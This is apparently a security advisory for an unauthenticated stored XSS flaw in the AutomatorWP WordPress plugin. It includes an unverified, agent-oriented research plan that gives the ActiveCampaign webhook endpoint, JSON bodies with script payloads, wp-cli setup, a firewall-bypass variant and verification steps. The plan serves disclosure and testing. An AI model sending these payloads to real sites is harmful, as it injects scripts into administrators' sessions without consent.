CVE-2026-42650

AutomatorWP – Automator plugin for no-code automations, webhooks & custom integrations in WordPress <= 5.6.7 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
5.6.8
Patched in
6d
Time to patch

Description

The AutomatorWP – Automator plugin for no-code automations, webhooks & custom integrations in WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 5.6.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.6.7
PublishedApril 29, 2026
Last updatedMay 4, 2026
Affected pluginautomatorwp

What Changed in the Fix

Changes introduced in v5.6.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

### 1. Vulnerability Summary The **AutomatorWP** plugin for WordPress (versions <= 5.6.7) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin's REST API endpoint for the ActiveCampaign integration (`activecampaign/webhooks`) fails to sa…

Show full research plan

1. Vulnerability Summary

The AutomatorWP plugin for WordPress (versions <= 5.6.7) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin's REST API endpoint for the ActiveCampaign integration (activecampaign/webhooks) fails to sanitize input data before passing it to internal trigger listeners. These listeners then store the raw data as "Log Meta" in the database. When a WordPress administrator views the logs in the admin dashboard, the stored scripts are executed in their browser context.

2. Attack Vector Analysis

  • Endpoint: /wp-json/activecampaign/webhooks/{slug}
  • Method: POST
  • Authentication: None (The REST route uses 'permission_callback' => '__return_true').
  • Vulnerable Parameter: contact[first_name], contact[last_name], or q.
  • Preconditions:
    1. The ActiveCampaign integration must be enabled.
    2. An Automation must be created and active (status publish) using the "User added to ActiveCampaign" trigger (activecampaign_user_added).
    3. An existing WordPress user's email must be known (default admin email is sufficient).

3. Code Flow

  1. Entry Point: integrations/activecampaign/includes/rest-api.php: automatorwp_activecampaign_rest_api_cb() receives a POST request.
  2. Missing Sanitization: The callback retrieves params via $data->get_params(). While it uses sanitize_text_field for the $type check, it passes the entire unsanitized $params array to the do_action call:
    do_action( 'automatorwp_activecampaign_user_subscribed', $params, $user->ID );
  3. Trigger Execution: integrations/activecampaign/includes/triggers/user-added.php: The listener() method receives the unsanitized $params.
  4. Event Dispatch: The listener() calls automatorwp_trigger_event():
    automatorwp_trigger_event( array(
        'trigger'       => $this->trigger,
        'user_id'       => $user_id,
        'first_name'    => $params['contact']['first_name'], // Source: Unsanitized
        ...
    ) );
    
  5. Storage: The data is stored in the wp_automatorwp_log_meta table (key: first_name).
  6. Sink: integrations/activecampaign/includes/triggers/user-added.php: The log_fields() method registers first_name as a text type field. When the admin logs page renders this field, it echoes the stored value without context-aware escaping (e.g., esc_html).

4. Nonce Acquisition Strategy

No nonce is required.
The vulnerable endpoint is a REST API route registered in integrations/activecampaign/includes/rest-api.php. The registration uses 'permission_callback' => '__return_true', allowing unauthenticated access from any source (simulating an external webhook from ActiveCampaign).

5. Exploitation Strategy

The exploit involves sending a specially crafted JSON payload to the ActiveCampaign webhook REST endpoint.

Step 1: Determine the Webhook Slug
In a default or unconfigured state, the slug is often an empty string. Attempt the exploit on the base namespace first.
URL: /wp-json/activecampaign/webhooks/

Step 2: Send Malicious Webhook Request
Use the http_request tool to send the POST request.

  • URL: {{BASE_URL}}/wp-json/activecampaign/webhooks/
  • Method: POST
  • Headers: Content-Type: application/json
  • Body:
    {
      "type": "subscribe",
      "contact": {
        "email": "admin@example.com",
        "first_name": "<img src=x onerror=alert('CVE-2026-42650_XSS')>",
        "last_name": "Attacker"
      },
      "date_time": "2023-10-27 12:00:00",
      "q": "/vulnerable-path"
    }
    

6. Test Data Setup

Before exploitation, the environment must have an active automation. Run these wp-cli commands:

  1. Get Admin Email:
    wp user get 1 --field=user_email (Use this in the payload).
  2. Create Automation:
    # 1. Create the Automation post
    AUTO_ID=$(wp post create --post_type=automatorwp_automation --post_title="XSS Test" --post_status=publish --porcelain)
    
    # 2. Create the Trigger post and link it
    TRIGGER_ID=$(wp post create --post_type=automatorwp_trigger --post_title="AC Trigger" --post_status=publish --porcelain)
    wp post term add $TRIGGER_ID automatorwp_trigger_type activecampaign_user_added
    wp post edit $TRIGGER_ID --post_parent=$AUTO_ID
    
    # 3. Mark the trigger as activecampaign_user_added in meta
    wp post meta update $TRIGGER_ID automatorwp_trigger_type activecampaign_user_added
    

7. Expected Results

  • HTTP Response: The REST API should return a 200 OK with {"success":true}.
  • Database Impact: A new entry will appear in the wp_automatorwp_log_meta table with the meta_key of first_name and the meta_value containing the <img ...> payload.
  • XSS Execution: When an administrator navigates to AutomatorWP -> Logs, the JavaScript payload will execute.

8. Verification Steps

  1. Check Logs Table:
    wp db query "SELECT * FROM wp_automatorwp_log_meta WHERE meta_key='first_name'"
  2. Verify Payload Presence: Ensure the meta_value matches the injected string exactly (proving no sanitization occurred during storage).
  3. Confirm Execution: Use browser_navigate to {{BASE_URL}}/wp-admin/admin.php?page=automatorwp_logs and check for the alert or presence of the img tag in the DOM.

9. Alternative Approaches

If the activecampaign/webhooks/ route is not found (404), the plugin may require the slug to be initialized.

  • Slug Discovery: If the browser agent is available, navigate to AutomatorWP -> Settings -> ActiveCampaign to see if a slug is generated. If a slug exists (e.g., abcdefgh), the endpoint becomes /wp-json/activecampaign/webhooks/abcdefgh.
  • Alternative Parameter: If first_name is filtered by a firewall, try the q parameter, which is mapped to webhook_url in the listener:
    {
      "type": "subscribe",
      "contact": {"email": "admin@example.com"},
      "q": "\"><script>alert('XSS_IN_Q')</script>"
    }
    
  • Trigger Variant: Try the "Tag added to user" trigger (activecampaign_user_tag_added) via type: contact_tag_added in the REST payload.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.